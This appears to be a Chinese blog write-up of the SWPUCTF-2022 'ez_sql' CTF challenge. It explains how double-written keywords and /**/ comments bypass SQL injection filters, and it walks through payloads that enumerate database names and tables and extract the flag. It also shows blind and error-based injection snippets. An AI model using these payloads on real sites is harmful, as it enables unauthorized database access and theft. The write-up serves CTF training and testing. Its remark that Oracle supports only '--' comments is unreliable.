CTF SQL注入实战:SWPUCTF-2022 ez_sql 双写绕过与注释符技巧解析
📅 2026/7/11 1:03:30
👁️ 阅读次数
📝 编程学习
CTF SQL注入实战:双写绕过与注释符技巧深度解析
在网络安全竞赛中,SQL注入始终是Web安全赛道的核心考点。本文将深入剖析SWPUCTF-2022 ez_sql赛题中展现的双写绕过与注释符技术,通过5种实战场景演示如何突破关键词过滤机制。
1. SQL注入防御机制与突破思路
现代Web应用常采用以下防御手段阻止SQL注入:
- 关键词过滤:拦截
union、or、information_schema等敏感词汇 - 符号过滤:清除单引号、注释符等特殊符号
- 预编译语句:使用参数化查询隔离数据与指令
当遇到关键词过滤时,可采用以下变形策略:
原始语句:union select 1,2,3 双写变形:ununionion select 1,2,3 大小写混合:UnIoN sElEcT 1,2,3 注释分割:uni/**/on sele/**/ct 1,2,3提示:不同数据库的注释语法存在差异,MySQL支持
#、--和/**/,而Oracle仅支持--
2. 双写绕过技术详解
当防御系统采用简单字符串匹配时,双写技术可有效绕过检测。其核心原理是:
- 将敏感词拆分为两部分
- 在中间插入被过滤的相同关键词
- 系统过滤后剩余部分重新组合成完整关键词
典型变形对照表:
| 原始关键词 | 双写变形 | 过滤后结果 |
|---|---|---|
| union | ununionion | union |
| or | oorr | or |
| information_schema | infoorrmation_schema | information_schema |
实战案例:突破information_schema过滤
# 错误写法(直接被拦截) select table_name from information_schema.tables # 正确变形(成功绕过) select table_name from infoorrmation_schema.tables3. 注释符的创造性应用
注释符在绕过中有三大核心作用:
- 分割关键词:
uni/**/on - 替代空格:
select/**/1,2,3 - 截断后续语句:
' or 1=1 --
SWPUCTF赛题中注释符的典型应用:
nss=-1'/**/oorrder/**/by/**/4#此payload实现了:
- 用
/**/替代所有空格 - 双写绕过
or过滤 #注释后续单引号
4. 复合绕过技术实战
当遇到多重过滤时,需组合多种技术。以下是完整解题流程:
判断注入类型
nss=1' and '1'='1 # 字符型验证确定字段数
nss=-1'/**/oorrder/**/by/**/3#爆库名(双写+注释)
nss=-1'/**/ununionion/**/select/**/1,database(),3#爆表名(十六进制编码辅助)
nss=-1'/**/ununionion/**/select/**/1,group_concat(table_name),3/**/from/**/infoorrmation_schema.tables/**/where/**/table_schema=0x4E53535F6462#获取flag
nss=-1'/**/ununionion/**/select/**/1,Secr3t,flll444g/**/from/**/NSS_tb#
5. 防御方案与进阶技巧
开发人员防护建议:
- 使用预编译语句(PreparedStatement)
- 实现正则表达式过滤:
/(union|select|information_schema)/i - 限制数据库用户权限
攻击者进阶技巧:
# 自动化双写转换工具示例 def double_encode(keyword): mid = len(keyword) // 2 return keyword[:mid] + keyword + keyword[mid:] print(double_encode("information_schema")) # 输出:infinformation_schemaormation_schema在真实渗透测试中,还需结合:
- 报错注入:
updatexml()提取数据 - 时间盲注:
if(ascii(substr(database(),1,1))>97,sleep(3),0) - 布尔盲注:通过页面差异判断条件真假
掌握这些技术的本质在于理解SQL解析原理,而非死记payload。建议搭建本地测试环境(如DVWA、SQLi-Labs)进行反复练习,观察不同变形方式对WAF的影响。
编程学习
技术分享
实战经验